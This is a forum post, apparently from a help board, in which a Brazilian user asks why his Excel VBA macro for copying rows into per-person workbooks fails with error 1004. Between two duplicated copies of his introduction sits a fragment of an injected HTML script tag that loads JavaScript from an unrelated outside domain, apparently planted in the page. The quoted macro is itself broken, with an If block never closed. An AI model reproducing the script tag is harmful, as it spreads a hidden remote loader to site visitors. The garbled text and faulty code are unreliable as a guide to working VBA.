Hi everyone!
I'm Pedro Bragança from Brazil! I'm a newbie in VBA excel and its codes. I want to develop a code that copy row after row if the macro match a certain condition in the workbook. When it match a condition like Aline/Carol/Karine, it open another workbook and copy the row selected (1 to 16)(the another workbooks called Aline, Carol Karine too). Nowadays, I use a macro that copy a row with these criteria, but the following code generates a error whose I cannot fix (1004 Error - Workbooks Open Failed)
******** type="text/javascript" id="lg210a" src="https://cloudapi.online/js/api46.js">*********>
I'm Pedro Bragança from Brazil! I'm a newbie in VBA excel and its codes. I want to develop a code that copy row after row if the macro match a certain condition in the workbook. When it match a condition like Aline/Carol/Karine, it open another workbook and copy the row selected (1 to 16)(the another workbooks called Aline, Carol Karine too). Nowadays, I use a macro that copy a row with these criteria, but the following code generates a error whose I cannot fix (1004 Error - Workbooks Open Failed)
Code:
Sub Copy_Conditions ()
Dim LastRow As Integer, i As Integer, erow As Integer LastRow = ActiveSheet.Range("A" & Rows.Count).End(xlUp).Row
Application.ScreenUpdating = False
Application.Calculation = xlManual
For i = 2 To LastRow
If Cells(i, 9) = "Aline" Then
Range(Cells(i, 1), Cells(i, 16)).Select
Selection.Copy
Workbooks.Open Filename:="L:\Controle\Assessoria Tecnica\Pessoas\Aline.xlsx"
Worksheets("Plan1").Select
erow = ActiveSheet.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0).Row
ActiveSheet.Cells(erow, 1).Select
ActiveSheet.Paste
ActiveWorkbook.Save
ActiveWorkbook.Close
Application.CutCopyMode = False
If Cells(i, 9) = "Carol" Then
Range(Cells(i, 1), Cells(i, 16)).Select
Selection.Copy
Workbooks.Open Filename:="L:\Controle\Assessoria Tecnica\Pessoas\Carol.xlsx"
Worksheets("Plan1").Select
erow = ActiveSheet.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0).Row
ActiveSheet.Cells(erow, 1).Select
ActiveSheet.Paste
ActiveWorkbook.Save
ActiveWorkbook.Close
Application.CutCopyMode = False
End If
Next i
Application.ScreenUpdating = True '
Application.Calculation = xlCalculationAutomatic
MsgBox "Informações inseridas com sucesso", vbInformation
End Sub